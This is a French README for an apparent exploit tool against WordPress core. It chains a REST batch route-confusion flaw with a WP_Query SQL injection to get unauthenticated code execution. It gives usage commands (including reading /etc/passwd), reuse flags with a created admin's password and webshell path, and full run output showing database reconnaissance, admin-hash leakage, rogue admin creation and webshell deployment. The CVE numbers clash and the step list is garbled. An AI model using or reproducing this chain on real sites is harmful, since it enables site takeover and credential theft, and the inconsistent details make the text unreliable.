
Exploit POC pour Wp2Shell, CVE-2026-63030 + CVE-2026-63137
Exécution de code à distance sans authentification dans le cœur de WordPress.
CVE-2026-60137 (Injection SQL dans WP_Query) chaînée avec CVE-2026-63030 (Confusion de route batch de l'API REST).
À des fins éducatives et de recherche en sécurité autorisée uniquement.
WordPress 6.9.0 à 6.9.4 et 7.0.0 à 7.0.1 sont vulnérables. Corrigé dans 6.9.5 et 7.0.2.
L'exploit chaîne deux vulnérabilités :
CVE-2026-63030 — Confusion de route batch. Le point de terminaison batch de l'API REST à /wp-json/batch/v1 (ou /?rest_route=/batch/v1) traite les sous-requêtes en deux phases : il associe chaque chemin à un gestionnaire, puis dispatche chaque requête via son gestionnaire associé. Lorsqu'un chemin délibérément malformé (///) est inséré comme première sous-requête, WordPress stocke une WP_Error à l'indice 0 du tableau des routes associées. Cela décale chaque affectation de gestionnaire suivante d'un indice vers l'arrière. La boucle de dispatch associe alors chaque requête au mauvais gestionnaire — une requête validée contre le Schéma A est exécutée par le Gestionnaire B, contournant l'assainissement des paramètres imposé par le Schéma A.
CVE-2026-60137 — Injection SQL dans WP_Query. Le point de terminaison de collection d'articles accepte un paramètre author_exclude dont le schéma impose des valeurs de tableau de type entier, en assainissant chaque élément avec absint() avant qu'il n'atteigne WP_Query. La désynchronisation batch fait que ce paramètre contourne entièrement la validation du schéma et arrive dans la logique author__not_in de WP_Query sous forme de chaîne brute. Comme absint() n'est appliqué qu'à l'intérieur d'une branche is_array(), la chaîne brute est interpolée directement dans la clause SQL WHERE, permettant une injection UNION SELECT.
La chaîne complète se déroule en quatre étapes :
UNION SELECT reflétées dans la réponse JSON REST.wp_posts qui empoisonnent le cache oEmbed et déclenchent le hook de publication de changeset de WP_Customize_Manager, qui appelle wp_insert_user() avec role=administrator.git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell
Aucune installation pip requise.
Exécute les quatre étapes : confirmation de désynchronisation, reconnaissance SQL, création d'administrateur et déploiement de webshell. Un nouveau compte administrateur et un nouveau plugin sont créés à chaque exécution.
python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"
Contre une cible HTTPS avec un certificat auto-signé :
python3 exploit.py --url https://TARGET --command "id" --insecure
Une fois une exécution complète terminée, le script affiche une commande de réutilisation prête à l'emploi avec les identifiants déployés et le chemin du shell pré-remplis. Passez ces trois drapeaux lors des exécutions suivantes pour sauter entièrement les phases SQL et de création d'administrateur :
python3 exploit.py \
--url http://TARGET \
--command "whoami" \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password "Wp2!J47LBKLEbu4ebAJo" \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
[--admin-user USER] [--admin-password PASS]
[--prev-webshell-plugin PATH]
| Drapeau | Abrév. | Description |
|---|---|---|
--url | -u | URL de base WordPress cible. Par défaut : http://localhost:8080 |
--command | -c | Commande système à exécuter. Par défaut : id |
--insecure | -k | Désactiver la vérification du certificat TLS pour les certificats auto-signés |
--admin-user | Mode réutilisation : nom d'utilisateur administrateur précédemment créé | |
--admin-password | Mode réutilisation : mot de passe administrateur précédemment créé | |
--prev-webshell-plugin | Mode réutilisation : chemin web vers le plugin webshell déjà déployé |
Les trois drapeaux --admin-* / --prev-webshell-plugin doivent tous être fournis ensemble ou pas du tout.
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : http://localhost:8080
Command: uname -a
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi -- database reconnaissance
[+] Database version : 10.11.18-MariaDB-ubu2204
[+] Database user : wpuser@%
[+] Database name : wordpress
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [96, 97, 98]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_poc_da4d1cf83acb password: Wp2!J47LBKLEbu4ebAJo
[STEP 4] Authenticating + deploying webshell -- running: uname -a
[*] Logging in to wp-admin...
[+] Logged in as administrator
[*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
[+] Plugin uploaded
[*] Activating plugin...
[+] Plugin activated
[*] Executing: uname -a
============================================================
COMMAND OUTPUT -- uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================
[+] RCE confirmed -- Pre-Auth exploit chain complete
+-- RE-USE HINT ------------------------------------------+
| Skip the full chain next time -- pass these flags: |
+-----------------------------------------------------------+
python3 exploit.py \
--url http://localhost:8080 \
--command 'YOUR_COMMAND' \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password 'Wp2!J47LBKLEbu4ebAJo' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
Mettez à jour vers une version corrigée immédiatement.
wp core updatewp core update --version=6.9.5wp core update --version=6.8.6